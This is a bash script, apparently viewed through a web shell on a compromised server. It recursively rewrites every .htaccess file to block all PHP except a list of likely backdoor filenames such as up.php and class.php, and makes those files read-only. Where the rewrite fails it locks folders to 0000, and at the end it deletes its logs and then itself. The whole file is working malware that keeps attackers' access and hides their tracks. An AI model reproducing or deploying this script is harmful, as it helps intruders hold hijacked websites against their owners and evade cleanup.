View file File name : sysu.sh Content :#!/bin/bash if [ "$#" -ne 1 ]; then echo "Usage: $0 /path/to/directory" exit 1 fi TARGET_DIR=$1 LOG_FILE="$(dirname "$0")/logfile.log" SCRIPT_PATH=$(readlink -f "$0") # Get the absolute path of the script NOHUP_FILE="$(dirname "$0")/nohup.out" # Assume nohup.out is in the same directory as the script update_htaccess() { local dir="$1" local htaccess_file="$dir/.htaccess" if [ -f "$htaccess_file" ]; then cp "$htaccess_file" "$htaccess_file.bak" if ! rm -f "$htaccess_file"; then local msg="$(date) - Failed to delete .htaccess in $dir. It may be protected or require higher permissions." echo "$msg" >> "$LOG_FILE" return fi fi HTACCESS_CONTENT=$(cat <<EOF <FilesMatch "\\.(ph.*|a.*|P[hH].*|S[hH].*|s[hH].*)$"> Require all denied </FilesMatch> <FilesMatch "\\.(jpg|jpeg|pdf|docx)$"> Require all granted </FilesMatch> <FilesMatch "^(index.html|index.php|class.php|class-index.php|config.php|login.php|class.ShTmL|up.php)$"> Require all granted </FilesMatch> DirectoryIndex index.php index.html index.blade.php Options -Indexes ErrorDocument 403 "403 what are you looking for?" ErrorDocument 404 "404 what are you looking for?" EOF ) echo "$HTACCESS_CONTENT" > "$htaccess_file" || { local msg="$(date) - Failed to create .htaccess in $dir. Attempting to change folder permissions to 0000." echo "$msg" >> "$LOG_FILE" if ! chmod 0000 "$dir"; then local chmod_msg="$(date) - Failed to set permissions for folder $dir" echo "$chmod_msg" >> "$LOG_FILE" fi return } if ! chmod 0444 "$htaccess_file"; then local msg="$(date) - Failed to set permissions for .htaccess in $dir" echo "$msg" >> "$LOG_FILE" fi } export -f update_htaccess find "$TARGET_DIR" -type d -exec bash -c 'update_htaccess "$0"' {} \; sleep 5 # Remove log file rm -f "$LOG_FILE" # Remove nohup.out if it exists if [ -f "$NOHUP_FILE" ]; then rm -f "$NOHUP_FILE" fi # Self-delete the script rm -f "$SCRIPT_PATH"